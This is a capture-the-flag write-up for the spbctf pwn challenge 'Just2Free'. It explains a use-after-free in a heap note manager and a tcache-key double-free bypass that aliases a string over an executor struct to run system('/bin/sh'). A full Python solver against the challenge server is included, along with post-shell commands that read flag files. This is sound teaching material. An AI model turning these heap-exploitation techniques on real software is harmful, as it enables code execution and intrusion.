Just2Free
Just2Free
Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-07-02 | Status: Solved Techniques: chunk_aliasing, dangling_pointer_uaf, system_command_overwrite, tcache_key_double_free_bypass
Summary
Task: heap note-manager where free() leaves a dangling STROCHKEE[] pointer and modify_string only checks the stale SIZES[] entry (UAF). Solution: alias a live 40-byte string over a struct executor via a tcache-key-bypass double free (reallocate the chunk to clear its key before re-freeing), overwrite command with /bin/sh, and trigger system().
Just2Free — spbctf
Description
Just2Free — pwn.
nc 109.233.56.90 11730Author hint: "This one is mega-easy double free()!" Files:mc6.elf(x86-64 PIE, dynamically linked, not stripped) andmc6.c(source).
A heap "note manager" with a menu:
s— allocate a string (malloc(size), pointer stored inSTROCHKEE[COUNT], size inSIZES[COUNT])m— modify a stringf— free a stringe— allocate an executorx— execute the executor's command (only shown after an executor exists)
Goal: get a shell on the remote container and read the flag.
Analysis
Key structures / functions in mc6.c:
c read-only • copy allowedstruct executor { char command[40]; }; // malloc(sizeof) -> 40 bytes -> 0x30 tcache bin // command initialized to "ls -la" void execute_command(struct executor *obj) { system(obj->command); } char *STROCHKEE[100]; int SIZES[100]; int COUNT = 0;
allocate_string(): reads an integersize,malloc(size),memset(0), stores pointer and size,COUNT++.free_string():free(STROCHKEE[idx]), thenSIZES[idx] = 0— but does NOT nullSTROCHKEE[idx]. This leaves a dangling pointer → use-after-free.modify_string(): readsidx, reads up to 255 bytes withscanf("%255s", buf), allows the write only ifstrlen(buf) < SIZES[idx], thenstrcpy(STROCHKEE[idx], buf).
The core weakness. A 40-byte string malloc(40) lands in the same 0x30 tcache bin as struct executor. Because free_string() leaves the STROCHKEE pointer dangling and modify_string() gates writes only on SIZES[idx] (a stale value, not on liveness), we can make a live, writable string alias the executor's command buffer, overwrite it with /bin/sh, and let execute_command() run system("/bin/sh").
The obstacle — tcache key double-free detection. The remote runs a modern glibc. free() writes a tcache key into the freed chunk; a second free() of the same chunk while the key is still set triggers:
free(): double free detected in tcache 2
Aborted
This was confirmed empirically against the server. A naive same-index double free does not work.
Two pitfalls, and how the exploit sidesteps them:
- Naive double free is detected. Fix:
malloc()clears the key when it hands a chunk back out. Reallocate the chunk (popping it from the bin) between the twofree()s so its key is cleared — the second free then passes undetected. - You cannot modify a freed string directly.
free_string()setsSIZES[idx] = 0, somodify_string()rejects any input (strlen(buf) >= 0is always true, sostrlen(buf) < SIZES[idx]is always false). Work around it by keeping a separately-indexed live alias (idx2 withSIZE2 = 40) that points to the same physical chunk.
Solution
Tcache bins are LIFO. Steps (all chunks are 40 bytes → 0x30 bin):
s 40→ A (idx0, SIZE0=40)s 40→ B (idx1, SIZE1=40)f 0→ tcache:[A]f 1→ tcache:[B -> A](B at head)s 40→mallocpops B as idx2 (LIVE, SIZE2=40, key cleared). tcache:[A]f 1→ free B again through the still-valid idx1. Key was cleared in step 5 → no detection. tcache:[B -> A]e→ executormalloc(40)pops B (head).EXECUTOR->commandandSTROCHKEE[2]now alias the same chunk.m 2 "/bin/sh"→ overwrite the command buffer through the live alias (fits: SIZE2=40).x→execute_command()→system("/bin/sh").
Result: a shell as uid=6(man) inside a docker container; cat flag.txt yields the flag.
Solver
python read-only • copy allowed#!/usr/bin/env python3 import socket, sys, time HOST, PORT = "109.233.56.90", 11730 def recv_until(s, marker, timeout=4): s.settimeout(timeout) data = b"" try: while marker not in data: chunk = s.recv(4096) if not chunk: break data += chunk except socket.timeout: pass return data def main(): s = socket.socket() s.connect((HOST, PORT)) def alloc(size): recv_until(s, b"choice: ") s.sendall(b"s\n") recv_until(s, b"Enter size: ") s.sendall(str(size).encode()+b"\n") def free(idx): recv_until(s, b"choice: ") s.sendall(b"f\n") recv_until(s, b"free (0") s.sendall(str(idx).encode()+b"\n") def modify(idx, text): recv_until(s, b"choice: ") s.sendall(b"m\n") recv_until(s, b"Enter index to modify") s.sendall(str(idx).encode()+b"\n") recv_until(s, b"max ") s.sendall(text.encode()+b"\n") def executor(): recv_until(s, b"choice: ") s.sendall(b"e\n") def execute(): recv_until(s, b"choice: ") s.sendall(b"x\n") # 40-byte strings -> same 0x30 tcache bin as executor (command[40]) alloc(40) # idx0 = A alloc(40) # idx1 = B free(0) # tcache: [A] free(1) # tcache: [B, A] alloc(40) # idx2 = B (popped, key cleared). tcache: [A]. B is LIVE, SIZE2=40 free(1) # free B again (key cleared) -> tcache: [B, A]. no detection. executor() # executor = B (head). EXECUTOR->command == STROCHKEE[2] # overwrite command via live idx2 (SIZE2=40, room for "/bin/sh") modify(2, "/bin/sh") execute() # interactive shell time.sleep(0.5) s.sendall(b"cat flag* /flag* 2>/dev/null; ls -la; id\n") time.sleep(1.0) data = recv_until(s, b"NEVERSEEN", timeout=4) sys.stdout.write(data.decode(errors="replace")) print("\n--- interactive ---") s.settimeout(2) try: while True: d = s.recv(4096) if not d: break sys.stdout.write(d.decode(errors="replace")) except socket.timeout: pass s.close() main()